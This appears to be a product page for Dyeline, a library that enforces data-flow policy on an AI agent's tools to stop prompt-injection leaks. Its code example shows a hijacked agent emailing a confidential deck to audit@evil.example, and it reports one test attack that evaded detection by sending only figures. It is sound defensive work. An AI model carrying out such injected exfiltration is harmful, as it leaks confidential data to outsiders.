How it works
Dyeline v0 is a Python library that wraps your agent’s tools, plus a dashboard where your team sets the policy and approves actions. This page explains the checks the library runs.
The check, step by step.
Every read is labelled.
- Connection
- The app it came from, like Gmail or Drive, and the level your policy gives the agent there: nothing, read, ask first or act.
- Sensitivity
- Public, internal or confidential. The connection sets the default, and a read tool can label one item differently, like a public file in Drive.
- Trust
- Untrusted if an outsider could have written it, like an outside email or a web page. An email from a company domain is trusted.
- Fingerprints
- Every six words in a row, hashed after lowercasing and dropping punctuation, so a passage is found in a later send even when it’s reformatted.
from dyeline import Dyeline
dy = Dyeline(api_key="dy_live_...", agent="email-assistant")
# A read: its result becomes a labelled source.
@dy.tool(connection="drive", kind="read",
name=lambda args, result: args["name"])
def read_file(name): ...
# A send: checked before the tool runs.
@dy.tool(connection="gmail", kind="send", destination="to")
def send_email(to, subject, body): ...
with dy.session(task="Summarize my inbox"):
deck = read_file("Q4 board deck.pdf")
# A hijacked agent tries to email the deck out:
send_email("audit@evil.example", "Q4", deck)
# Not sent. The agent gets back: "Blocked by Dyeline:
# This contains a passage from Q4 board deck.pdf
# (confidential), and audit@evil.example is outside
# acme.example. You can send it to someone inside
# acme.example, or leave that part out."Then every write or send is checked.
In this order. The first match decides.
- A connection set to nothing blocks every call, reads included.
- Any other read is allowed, and labelled.
- A write or send on a read-only connection is blocked.
- A send outside the company that holds a passage of confidential data is blocked.
- After the agent has read untrusted content, a send outside waits for a person.
- With the stricter rule on, so does a send outside after it has read confidential data.
- A write or send on an ask-first connection waits for a person.
- Anything else is allowed.
An address or URL is inside the company if it’s on a company domain, and a Slack channel is inside unless you list it as shared. Anything else counts as outside.
company_domains: [acme.example]
connections:
gmail: { level: act, sensitivity: internal, trust: untrusted }
drive: { level: read, sensitivity: confidential, trust: trusted }
slack: { level: approve, sensitivity: internal, trust: trusted }
crm: { level: read, sensitivity: confidential, trust: trusted }
web: { level: read, sensitivity: public, trust: untrusted }
default_connection:
level: read
sensitivity: confidential
trust: untrusted
rules:
confidential_stays_inside: true
untrusted_external_needs_approval: true
confidential_context_external_needs_approval: falseYour team edits the policy in the dashboard. Custom rules, beyond these three, are planned.
- On a block
- The tool isn’t called. The agent gets the reason back, and what it can do instead, so it can still finish the task.
- On approval
- The library asks your dashboard and waits, two minutes by default. Approved, the tool runs. Declined or unanswered, it’s a block.
- Fail closed
- If the policy can’t load, every connection is read-only. If an approval can’t be asked for or checked, the action is blocked.
Labels follow the data.
summary
Label record
- source
- email_3, budget.xlsx
- sensitivity
- confidential
- from
budget.xlsx - trust
- untrusted
- from
email_3
Chain of custody
email_3read_inbox()Labels: untrustedbudget.xlsxread_file("budget.xlsx")Labels: confidentialsummarysend_email(to, summary)Labels: confidentialuntrusted
Next: the permission map.
It adds an audience rule, read from Google Workspace, Slack and GitHub: an agent can share data only with people who can already open it.
BuildingKeeping agents useful.
Our attack suite runs 13 prompt injections and 6 ordinary tasks against a scripted agent. Without the library, 13 of 13 attacks leaked data. With v0, 1 of 13 did: it sent only the figures, so there was no passage to match. All 6 tasks finished in both runs.
- Steer, don’t stallLive
- A blocked call comes back with the reason and an allowed alternative, so the task can still finish.
- Quarantined readingPlanned
- A separate model with no tools reads untrusted text. The planner, which holds the tools, sees only a reference to it.
- Typed extractionPlanned
- The planner asks the reader only for typed answers: yes or no, a date, a choice from a list.
- Argument rolesPlanned
- Untrusted text can be the body of an email. It can never choose the recipient.